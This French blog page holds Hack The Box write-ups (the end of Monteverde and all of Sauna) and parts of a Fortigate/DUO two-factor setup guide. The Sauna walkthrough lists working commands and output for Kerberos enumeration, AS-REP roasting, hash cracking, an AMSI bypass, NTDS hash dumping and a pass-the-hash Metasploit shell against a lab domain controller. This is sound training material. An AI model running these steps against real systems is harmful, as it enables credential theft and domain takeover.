Ce fichier sert à gérer les clés et le déchiffrement des données de la base de données.

Cela tombe bien, avec WindowsEnum nous avons également pu découvrir d’autres ports ouverts mais non accessibles de l’exterieur, notamment le port Microsoft SQL TCP 1433 :

Base de données SQL active

Il semble donc possible d’extraire facilement les données contenues dans la base de données.

Phase d’exploitation 2/2

Le PoC présent dans l’article semble comporter des erreurs de formatage de certains caractères et ne fonctionne pas pour moi.

Je trouve un autre script inspiré de celui-ci ici sur GitHub : https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1

Là aussi, cela ne fonctionne pas directement, il ne se passe rien lors du lancement du script. J’ai donc retiré certaines parties du script et mis directement les informations dedans et là, miracle !

Bingo !

Ci-dessous le script adapté.

Nous avons donc le mot de passe du compte root. Il ne reste plus qu’à se reconnecter mais cette fois avec le compte administrator pour obtenir le drapeau root.txt :

root@HTB:~/HTB/Monteverde# evil-winrm -i 10.10.10.172 -u Administrator -p d0m@in4dminyeah!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\Administrator\Documents> cd ../desktop
Evil-WinRM PS C:\Users\Administrator\desktop> more root.txt
12909612d25c8dcf6e5a07d1a804a0bc

Conclusion

Nous voilà déjà au bout de l’article. Comme évoqué en introduction, la phase d’énumération est plutôt simple à mon goût. Ensuite, Google sera d’une grande aide pour obtenir le compte root.

L’article sur Azure AD est par contre très intéressant et on apprend pas mal de chose.

06 Avr

HTB – Sauna – Write-up

Introduction

Voici une machine virtuelle très intéressante que je recommande fortement aux débutants qui veulent améliorer leurs connaissances sur Windows, notamment Active Directory.

La phase d’énumération sera la plus importante sur cette machine. Tellement importante que nous pourrions la catégoriser au niveau Medium si je devais la comparer à d’autres anciennes VM comme Legacy, Optimum ou encore Blue.

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.175
  • Nom de la VM = sauna.htb (par défaut chez HTB)

J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés. Nous utiliserons différentes techniques pour parvenir à nos fins.

Phase de reconnaissance

Par habitude j’effectue un scan (TCP) complet de la machine virtuelle de cette manière :

nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 10.10.10.175 --min-rate 100 -oN nmap-sauna-complete.txt

Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.

Avec un scan classique (–top-ports 1000) nous aurions raté 8 ports ouverts :

root@HTB:~/HTB/Sauna# grep -c open nmap-sauna.txt
13
root@HTB:~/HTB/Sauna# grep -c open nmap-sauna-complete.txt
21

Voici la totalité des 21 ports (TCP) ouverts :

53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-06 03:30:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
61968/tcp open msrpc Microsoft Windows RPC

Nous voyons ici que parmi les ports supplémentaires identifiés nous avons le port TCP 5985 qui correspond à Windows Remote Management (WinRM), qui sera fort utile pour obtenir un shell plus tard.

Et nous avons trois ports UDP d’ouverts, dont NTP :

oot@HTB:~/HTB/Sauna# nmap -sU -p1-65535 -Pn -n --stats-every 10 10.10.10.175 --min-rate 100 -oN nmap-sauna-udp-complete.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 11:28 EDT
Nmap scan report for 10.10.10.175
Host is up (0.042s latency).
Not shown: 65532 open|filtered ports
PORT STATE SERVICE
53/udp open domain
123/udp open ntp
389/udp open ldap
Nmap done: 1 IP address (1 host up) scanned in 514.51 seconds

Phase d’énumération 1/2

D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine.

Nous pouvons interroger le service MS-RPC de Windows à travers Samba et une Null session, mais on ne peut pas récupérer grand chose :

root@HTB:~/HTB/Sauna# rpcclient -U "" -N 10.10.10.175
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomains
result was NT_STATUS_ACCESS_DENIED
rpcclient $> netshareenum
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> lsaenumsid
result was NT_STATUS_ACCESS_DENIED
root@HTB:~/HTB/Sauna# smbmap -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
root@HTB:~/HTB/Sauna#

Le compte « guest » est même désactivé :

root@HTB:~/HTB/Sauna# smbclient -L 10.10.10.175 -U guest%
session setup failed: NT_STATUS_ACCOUNT_DISABLED
root@HTB:~/HTB/Sauna#

Nous allons voir du côté de l’annuaire LDAP. On va d’abord tenter de récupérer son DN par défaut de manière anonyme ainsi que le nom de domaine :

root@HTB:~/HTB/Sauna# ldapsearch -LLL -x -H ldap://10.10.10.175 -b '' -s base '(objectclass=*)' | grep -iE '(defaultnamingcontext|dnsHostName)'
dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL
defaultNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL

Parfait. Ensuite, j’utilise JXplorer qui est plus visuel pour moi surtout quand il y a beaucoup d’informations :

JXplorer

Mais là aussi la pêche est maigre, juste le nom d’un utilisateur sans plus d’informations :

JXplorer en mode anonyme

J’ai commencé à regarder le site Web en profondeur (fuzzing), c’est un site Web « statique » avec une seule page Web avec des ancres :

root@HTB:~/HTB/Sauna# patator http_fuzz url=http://sauna.htb/FILE0 0=~/wordlists/dirbuster/directory-list-2.3-medium.txt -x ignore:code=404 -x ignore,retry:code=500 -t 50
21:14:44 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-04-05 21:14 EDT
21:14:48 patator INFO -
21:14:48 patator INFO - code size:clen time | candidate | num | mesg
21:14:48 patator INFO - -----------------------------------------------------------------------------
…
21:14:50 patator INFO - 200 33019:32797 0.337 | # | 10 | HTTP/1.1 200 OK
21:14:50 patator INFO - 200 33019:32797 0.448 | # | 13 | HTTP/1.1 200 OK
21:14:50 patator INFO - 301 343:147 0.508 | images | 16 | HTTP/1.1 301 Moved Permanently
21:14:50 patator INFO - 200 33019:32797 0.594 | # on atleast 2 different hosts | 12 | HTTP/1.1 200 OK
21:14:50 patator INFO - 200 33019:32797 0.527 | | 14 | HTTP/1.1 200 OK
21:14:51 patator INFO - 301 343:147 0.052 | Images | 203 | HTTP/1.1 301 Moved Permanently
21:14:53 patator INFO - 301 337:144 0.034 | css | 550 | HTTP/1.1 301 Moved Permanently
21:14:59 patator INFO - 301 341:146 0.049 | fonts | 2771 | HTTP/1.1 301 Moved Permanently
21:15:00 patator INFO - 301 343:147 0.037 | IMAGES | 3673 | HTTP/1.1 301 Moved Permanently
21:15:03 patator INFO - 301 341:146 0.030 | Fonts | 5582 | HTTP/1.1 301 Moved Permanently
21:15:07 patator INFO - 301 337:144 0.021 | CSS | 8475 | HTTP/1.1 301 Moved Permanently
21:19:48 patator INFO - Hits/Done/Skip/Fail/Size: 22/220560/0/0/220560, Avg: 734 r/s, Time: 0h 5m 0s

Du coup, je me suis arrêté sur la partie qui évoque l’équipe, on récupère une liste de noms et un message :

root@HTB:~/HTB/Sauna# lynx http://10.10.10.175/about.html#team
Une liste de noms et un message…
Meet the team. So many bank account managers but only one security manager. Sounds about right!

Nous devrions être sur la bonne voie ! Je décide de créer un fichier texte avec une liste de logon\login possibles pour chacun d’eux. Un exemple ci-dessous pour « Fergus Smith » (fichier à disposition) :

fergus_smith
fergus-smith
fergus.smith
fsmith
f.smith
smithf
fsmith@EGOTISTICAL-BANK.LOCAL

A partir de là nous allons pouvoir énumerer ceux qui seraient valides. On va commencer avec Nmap via Keberos :

root@HTB:~/HTB/Sauna# nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm='"EGOTISTICAL-BANK.LOCAL"',userdb="'users.txt'" 10.10.10.175
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 11:00 EDT
Nmap scan report for sauna.htb (10.10.10.175)
Host is up (0.022s latency).
PORT STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
| sauna@EGOTISTICAL-BANK.LOCAL
| administrator@EGOTISTICAL-BANK.LOCAL
|_ hsmith@EGOTISTICAL-BANK.LOCAL
Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

Je suis surpris par le maigre résultat et décide d’utiliser deux autres outils qui portent le même nom « Kerbrute » :

Avant cela, nous devons mettre à jour le résolveur DNS, fichier /etc/resolv.conf au niveau du domaine par défaut et surtout le serveur DNS à utiliser :

root@HTB:~/HTB/Sauna/kerbrute# cat /etc/resolv.conf
search EGOTISTICAL-BANK.LOCAL
nameserver 10.10.10.175

Sans cela vous auriez un message de ce type :

2020/04/06 11:46:58 > Couldn't find any KDCs for realm EGOTISTICAL-BANK.LOCAL. Please specify a Domain Controller

Une fois les changements enregistrés, nous lancons le premier outil en précisant bien le domaine. Et là surprise on a beaucoup plus de réponses :

root@HTB:~/HTB/Sauna/kerbrute# dist/kerbrute_linux_amd64 userenum -d EGOTISTICAL-BANK.LOCAL ../users.txt
...
2020/04/06 11:45:47 > Using KDC(s):
2020/04/06 11:45:47 > SAUNA.EGOTISTICAL-BANK.LOCAL:88
2020/04/06 11:45:47 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: sauna@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: sauna@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > [+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL
2020/04/06 11:45:47 > Done! Tested 55 usernames (8 valid) in 0.394 seconds

Nous avons donc 8*2 = 16 login (avec et sans nom de domaine). Avec le deuxième outil nous avons d’autres informations encore plus intéressantes. Je l’utilise sans faire de brutefore du mot de passe :

root@HTB:~/HTB/Sauna# python ../kerbrute/kerbrute.py -domain EGOTISTICAL-BANK.LOCAL -users users.txt
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
[] Valid user => hsmith
[] Valid user => fsmith [NOT PREAUTH]
[] Valid user => administrator
[] Valid user => sauna
[] Blocked/Disabled user => guest
[] Valid user => hsmith@EGOTISTICAL-BANK.LOCAL
[] Valid user => sauna@EGOTISTICAL-BANK.LOCAL
[] Valid user => administrator@EGOTISTICAL-BANK.LOCAL
[] Valid user => fsmith@EGOTISTICAL-BANK.LOCAL [NOT PREAUTH]
[] No passwords were discovered :'(

Avec cette liste nous serions tenter de faire un Bruteforce mais nous allons éviter de faire cela afin de ne pas bloquer les comptes. On a un moyen plus rapide et plus discret pour arriver à nos fins.

En effet, on apprend qu’un des utilisateurs (fsmith) a l’option « Ne nécessite pas de préauthentification Kerberos » (NOT PREAUTH) de cochée. Un exemple ci dessous :

Option cochée pour l’utilisateur « Fergus Smith »

Cela signifie que n’importe qui peut envoyer une demande au nom de l’un de ces utilisateurs et recevoir un message (détails dans cet article). Ce dernier type de message contient un bloc de données chiffrées avec la clé utilisateur d’origine, dérivée de son mot de passe. Ensuite, en utilisant ce message, le mot de passe utilisateur peut être craqué hors ligne. On parle de l’attaque ASREPRoast.

Phase d’exploitation 1/2

Avant de mener l’attaque nous devons synchroniser notre horloge sur celle du derveur :

root@HTB:~/HTB/Sauna# ntpdate SAUNA.EGOTISTICAL-BANK.LOCAL
6 Apr 21:16:31 ntpdate[11369]: step time server 10.10.10.175 offset +25374.471851 sec

Ensuite allons récupérer le fameux message appelé TGT auprès du serveur Kerberos. Nous utiliserons l’un des outils de la collection Impacket, GetNPUsers.py, et on l’exporte au format « Hashcat » :

root@HTB:~/HTB/Sauna# GetNPUsers.py EGOTISTICAL-BANK.LOCAL/fsmith -request -format hashcat -outputfile fsmith.hash.asreproast -no-pass
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:2ea9fed029e3d054273405ba696517c7$3dc1e7be65f46d81dda94c507cd831a45661448b6340d3e7c5d13734fd66e153f35149d1b6194ba9fa1cbd98314b8052bc7cb56427f635f4b573de9ae007ffdca42c26c0a22cd8359b2f6daa1761b4ad020ded1a6ad20cb8bc1612a2667058855d85301f1a06927b2e7a2043ea5cacf82dfe2f5dd3044de08289c41535b759148b310d9ddb88235b8676e8acfa528d119a22019bb0e6373a398bbddc4bd9768fff166237b4056955c8d448c4039a67f9ef9fbd4e54d2cb3b7975ebaeca2d751b98eaf3f5592d77710a378ea0fda98506057b7fe1f1dfe40075bd4097481cca66a9ac95c0df25e0fc9e99d222b9cec913cb12943eb7003911c4f69081fa38cc4d

Ca fonctionne ! Si on essaye avec un autre utilisateur qui n’a pas l’option « No Pre-Authentication » nous aurions ce message d’erreur :

[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set

Nous allons ensuite tenter de craquer ce hash avec l’outil « Hashcat » en utilisant le dictionnaire bien connu « rockyou.txt » :

root@HTB:~/HTB/Sauna# hashcat -m 18200 --force -a 0 fsmith.hash.asreproast ~/wordlists/rockyou.txt

Et après quelques minutes (c’est relativement rapide), nous avons trouvé le mot de passe du compte !

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...:Thestrokes23
Session……….: hashcat
Status………..: Cracked

Nous allons maintenant nous connecter au serveur et obtenir un shell. Nous utiliserons l’outil Evil-WINRM qui offre beaucoup de fonctionnalités :

root@HTB:~/HTB/Sauna# evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\FSmith\Documents>

Nous pouvons obtenir le premier drapeau user.txt :

Evil-WinRM PS C:\Users\FSmith\Documents> cd ../Desktop
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/23/2020 10:03 AM 34 user.txt
Evil-WinRM PS C:\Users\FSmith\Desktop> more user.txt
1b5520b98d97cf17f24122a55baf70cf

Ce compte ne permet pas de passer « Administrator » directement (en tous les cas je n’ai pas trouvé). Par contre, il nous donne de nouvelles informations utiles comme ici au niveau des partages mais aussi de la liste des comptes du domaine, notamment le compte (de service) svc_loanmgr :

root@HTB:~/HTB/Sauna# smbmap -u fsmith -p Thestrokes23 -d EGOTISTICAL-BANK.LOCAL -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
Disk                         Permissions Comment
----                         ----------- -------
ADMIN$                       NO ACCESS   Remote Admin
C$                           NO ACCESS   Default share
IPC$                         READ ONLY   Remote IPC
NETLOGON                     READ ONLY   Logon server share
print$                       READ ONLY   Printer Drivers
RICOH Aficio SP 8300DN PCL 6 NO ACCESS   We cant print money
SYSVOL                       READ ONLY   Logon server share
root@HTB:~/HTB/Sauna# rpcclient -U EGOTISTICAL-BANK.LOCAL/fsmith@EGOTISTICAL-BANK.LOCAL 10.10.10.175
Enter EGOTISTICAL-BANK.LOCAL/fsmith@EGOTISTICAL-BANK.LOCAL's password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[HSmith] rid:[0x44f]
user:[FSmith] rid:[0x451]
user:[svc_loanmgr] rid:[0x454]

Les répertoires ne donnent pas beaucoup d’informations. Et impossible d’obtenir les hashs des comptes avec un autre outil de la suite Impacket, secretdump.py :

root@HTB:~/HTB/Sauna# secretsdump.py fsmith@EGOTISTICAL-BANK.LOCAL
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) 
[] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter 
[] Cleaning up…

Phase d’énumération 2/2

Après une recherche infructueuse, nous allons faire une recherche plus approfondie toujours avec notre usager fsmith en utilisant l’outil WindowsEnum.

Avant cela nous allons désactiver la protection PowerShell AMSI afin de pouvoir utiliser pleinement notre script. Taper menu puis Bypass-4MSI :

Evil-WinRM PS C:\Users\FSmith\Documents> menu
...
By: CyberVaca, OscarAkaElvis, Laox @Hackplayers
[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
Evil-WinRM PS C:\Users\FSmith\Documents> Bypass-4MSI
[+] Patched! :D

Puis on upload notre script :

Evil-WinRM PS C:\Users\FSmith\Documents> upload WindowsEnum/WindowsEnum.ps1
Info: Uploading WindowsEnum/WindowsEnum.ps1 to C:\Users\FSmith\Documents\WindowsEnum.ps1
Data: 9492 bytes of 9492 bytes copied
Info: Upload successful!

On lance ensuite le script de cette manière (sans le mode étendu) et on patiente un peu :

Evil-WinRM PS C:\Users\FSmith\Documents> powershell -nologo -executionpolicy bypass -file WindowsEnum.ps1

Après quelques minutes on obtient le résultat. Il faut prendre le temps de bien lire ! Je n’ai pas vu tout de suite mais voici ce que l’on a sous nos yeux :

User Autologon Registry Items
DefaultDomainName DefaultUserName DefaultPassword
----------------- --------------- ---------------
EGOTISTICALBANK EGOTISTICALBANK\svc_loanmanager Moneymakestheworldgoround!

Et oui 🙂 on a un deuxième compte (de service) en mode « Auto logon » avec le mot de passe.

A partir de là, beaucoup vont se faire avoir, moi le premier ! Rappelez-vous, nous avions trouvé les comptes de domaines mais le logon n’était pas le même pour celui-ci ! Il faut donc utiliser le bon pour la suite à savoir svc_loanmgr et non svc_loanmanager.

Voyons si nous pouvons obtenir plus de droits avec cet utilisateur :

root@HTB:~/HTB/Sauna# smbmap -u svc_loanmgr -p Moneymakestheworldgoround! -d EGOTISTICAL-BANK.LOCAL -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: sauna.htb
Disk                         Permissions Comment
----                         ----------- -------
ADMIN$                       NO ACCESS   Remote Admin
C$                           NO ACCESS   Default share
IPC$                         READ ONLY   Remote IPC
NETLOGON                     READ ONLY   Logon server share
print$                       READ ONLY   Printer Drivers
RICOH Aficio SP 8300DN PCL 6 NO ACCESS   We cant print money
SYSVOL                       READ ONLY   Logon server share

Ca commence mal… essayons de récupérer à nouveau les hashs des comptes :

root@HTB:~/HTB/Sauna# secretsdump.py svc_loanmgr@EGOTISTICAL-BANK.LOCAL
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:9bd54ba212681ea79bd12be719942ff2:::
...
[] Cleaning up…

Bingo ! 🙂 On peut les récupérer !

Phase d’exploitation 2/2

Pour la suite nous utiliserons Metasploit, pour changer un peu, et notamment le module exploit/windows/smb/psexec qui permet d’utiliser directement le hash du mot de passe (technique du Pass the Hash) :

msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOSTS                SAUNA.EGOTISTICAL-BANK.LOCAL                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             EGOTISTICAL-BANK.LOCAL                                             no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff  no        The password for the specified username
   SMBUser               Administrator                                                      no        The username to authenticate as

Il ne reste plus qu’à lancer notre attaque :

msf5 exploit(windows/smb/psexec) > run
[] Started reverse TCP handler on 10.10.14.11:4444 [] 10.10.10.175:445 - Connecting to the server…
[] 10.10.10.175:445 - Authenticating to 10.10.10.175:445|EGOTISTICAL-BANK.LOCAL as user 'Administrator'… [] 10.10.10.175:445 - Selecting PowerShell target
[] 10.10.10.175:445 - Executing the payload… [+] 10.10.10.175:445 - Service start timed out, OK if running a command or non-service executable… [] Sending stage (180291 bytes) to 10.10.10.175
[*] Meterpreter session 1 opened (10.10.14.11:4444 -> 10.10.10.175:61387) at 2020-04-07 00:07:45 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Voilà ! Nous avons un shell et sommes root cette fois 🙂 Il ne reste plus qu’à récupérer le drapeau root.txt :

meterpreter > shell
Process 5388 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd c:\users\administrator\desktop
cd c:\users\administrator\desktop
c:\Users\Administrator\Desktop>more root.txt
more root.txt
f3ee04965c68257382e31502cc5e881f

Conclusion

Nous voilà au bout de l’article. Comme évoqué en introduction, la phase d’énumération est vraiment importante sur cette machine virtuelle.

Avec du recul, elle n’est pas insurmontable techniquement mais demande un effort important d’analyse. On apprend beaucoup !

Note : j’ai aussi trouvé une faille avec le driver de l’imprimante mais impossible de l’exploiter. Le répertoire concerné est pourtant bien en R/W mais cela n’aboutit pas (via Metasploit).

02 Fév

Double authentification (2FA) avec un Fortigate via LDAP(S) : Fortigate, administration (3/4)

Objectif et contexte

Nous avons vu dans un premier article comment installer et configurer l’application « DUO Authentication Proxy » de DUO Security.

Puis dans un deuxième comment utiliser cette solution avec FortiClient pour les connexions VPN SSL.

Nous étudierons ici le cas suivant, toujours via le protocole LDAP(S) :

  • Administration d’un firewall Fortigate, Ex. pour des administrateurs réseau

Dans un prochain et dernier article nous verrons les différentes méthodes de validation pour l’usager et son enrôlement.

Configuration LDAP

Pour authentifier les administrateurs qui se connectent aux Firewalls Fortigate, nous nous appuieront sur des serveurs LDAP que nous avons préalablement configurés dans cet article.

Je ne détaillerai donc pas cette partie ici, il n’y a rien de plus à configurer.

Groupes locaux

Nous devons maintenant créer des groupes locaux qui pointeront vers ceux de l’annuaire d’entreprise via nos nouveaux serveurs LDAP.

Là aussi, je vous invite à lire cet article pour connaître tous les détails. Il n’y a rien de plus à ajouter si ce n’est qu’il faudra définir un groupe local avec un nom plus explicite et adapté pour l’administration (Par Ex. ADMIN DUO).

Méthode d’authentification

Pour finir nous devons créer une nouvelle méthode d’authentification. Il faut pour cela se rendre au niveau « Global », à savoir (GUI) :

Global/System/Administrators

Il suffit de créer un nouvel « administrateur » et de remplir à minima les champs suivants en jaune :

Création d’une méthode d’authentification basée sur 2FA

Il est important de bien choisir le type comme indiqué pour permettre à plusieurs administrateurs de se connecter et le groupe local que l’on a créé pour utiliser la double authentification. Et bien-sûr le profil ou rôle adéquate (comme Sheila !).

Timeout (important)

Il reste un dernier changement important à faire pour laisser le temps à l’administrateur de valider ou non la demande de connexion lors de la deuxième authentification (si accès frauduleux ou erreur).

En effet, par défaut, le Fortigate n’attendra que 5 secondes. Ce qui est problématique car cela ne laisse pas assez de temps à l’usager de sortir son smartphone par exemple ou de recevoir l’appel téléphonique pour agir (voir les méthodes DUO offertes dans le dernier article de la série 4/4).

Nous allons donc devoir augmenter ce temps d’attente à 60 secondes, ce qui est largement suffisant.

Il faut pour cela se rendre en ligne de commande dans la configuration globale, comme ici dans la démo, cliquer sur le signe « >_ » :

On augmente le délai d’attente à 60 secondes

Il est maintenant temps de tester la connexion.

Test de connexion

Vous devrez pour cela créer ou utiliser un utilisateur sur votre annuaire d’entreprise et le mettre dans le groupe « distant » correspondant au groupe local du firewall, « ADMIN_DUO » dans notre exemple.

Il suffit ensuite d’utiliser les informations de connexion de ce compte administrateur pour vérifier que l’authentification fonctionne, HTTPS et SSH, par exemple :

  • https://firewall01.acme.corp/
  • ssh compte_administrateur_AD@ firewall01 .acme.corp

Un délai de 60 secondes sera donc accordé pour laisser le temps à administrateur de valider l’authentification à partir de son téléphone ou tablette.

En cas d’échec de connexion, il faudra vérifier les fichiers de logs sur le serveur DUO, notamment le fichier nommé « authevents » qui sera d’une grande aide pour identifier la ou les causes. Rendez-vous sur cet article pour les détails.

Mot de la fin

Cet article est le plus court de la série car l’essentiel a déjà été traité dans le précèdent.

Nous avons donc à ce stade une solution davantage sécurisée pour l’administration des firewall Fortigate et pour les connexions distantes via FortiClient.

Rendez-vous dans le dernier article pour voir comment nous pouvons ajouter ou plutôt « enrôler » un nouvel utilisateur et les différentes méthodes de validation offertes avec DUO.

02 Fév

Double authentification (2FA) avec un Fortigate via LDAP(S) : FortiClient (2/4)

Objectif et contexte

Nous avons vu dans un premier article comment installer et configurer l’application « DUO Authentication Proxy » de DUO Security.

Cet article est donc la suite logique dans lequel nous verrons comment l’utiliser depuis un firewall Fortigate. C’est l’article le plus long de la série.

Nous étudierons ici le cas suivant via le protocole LDAP(S) :

  • Accès sécurisés distants VPN SSL (FortiClient), Ex. pour des consultants ou employés d’une compagnie

Je vous détaillerai de petites astuces notamment pour bien gérer la redondance au niveau des Fortigate si vous souhaiter configurer deux serveurs DUO Proxy.

Dans l’article suivant nous verrons comment utiliser ces serveurs pour l’administration du Fortigate lui-même.

Fortigate – Configuration LDAP

Pour authentifier les usagers qui se connecteront aux Firewalls Fortigate depuis FortiClient, nous nous appuieront sur des serveurs LDAP que nous allons configurer.

Si j’utilise le protocole LDAP à la place d’un serveur Radius, c’est que je trouve cela plus lisible et plus souple pour gérer les groupes d’utilisateurs (au sens Active Directory ou AD) et plus logique finalement.

Plus lisible car il suffit de créer des groupes locaux (sur le fortigate) qui font référence à leur pendant côté Active Directory. Comme on le verra plus loin, il suffira d’aller naviguer sur l’AD depuis le Fortigate et de choisir les différents groupes.

Plus souple car il suffira ensuite d’ajouter les futurs usagers au niveau de l’AD dans les bons groupes sans que l’on ait besoin d’intervenir au niveau du Fortigate.

Plus logique car bien souvent lorsque l’on utilise un serveur Radius, il se base lui-même sur l’AD pour autoriser ou non l’accès suivant le(s) groupe(s) au(x)quel(s) l’usager appartient. Donc autant interroger directement l’AD sans passer par un intermédiaire.

La mise en place de la double authentification au niveau des connexions FortiClient (tunnels VPN SSL) nécessite quelques changements au niveau du Fortigate.

Tous les détails dans les sections suivantes mais dans les grandes lignes :

  • Configurer de nouveaux serveurs LDAP qui seront en fait nos serveurs « Duo Authentication Proxy »
  • Créer des groupes locaux pointant sur ceux d’Active Directory
  • Ajouter ces groupes au niveau du paramétrage VPN
  • Configurer de nouvelles règles de filtrage pour utiliser ces groupes
  • Réglages finaux des connexions LDAP, notamment le « timeout »

A noter que ce qui suit a été testé et validé sur des Fortigate ayant comme version FortiOS : 6.0.x et 6.2.x

Fortigate – Serveurs LDAP (DUO Proxy)

Serveur principal :

En premier lieu nous utiliserons l’interface graphique (GUI) pour configurer le serveur LDAP primaire qui sera en fait notre nouveau serveur DUO Proxy. Le cas échéant se positionner sur le bon « VDOM » puis se rendre ici : /User & Device/LDAP Servers

Renseigner les champs suivants de cette manière avec ses propres informations :

Name DUOPROXY
Server IP/Name DUOPXY01.acme.corp
Server Port 389
Common Name Identifier sAMAccountName
Distinguished Name DC=acme,DC=corp
Username CN=ldap-query-svc,OU=ACME,OU=Service Accounts,DC=acme,DC=corp
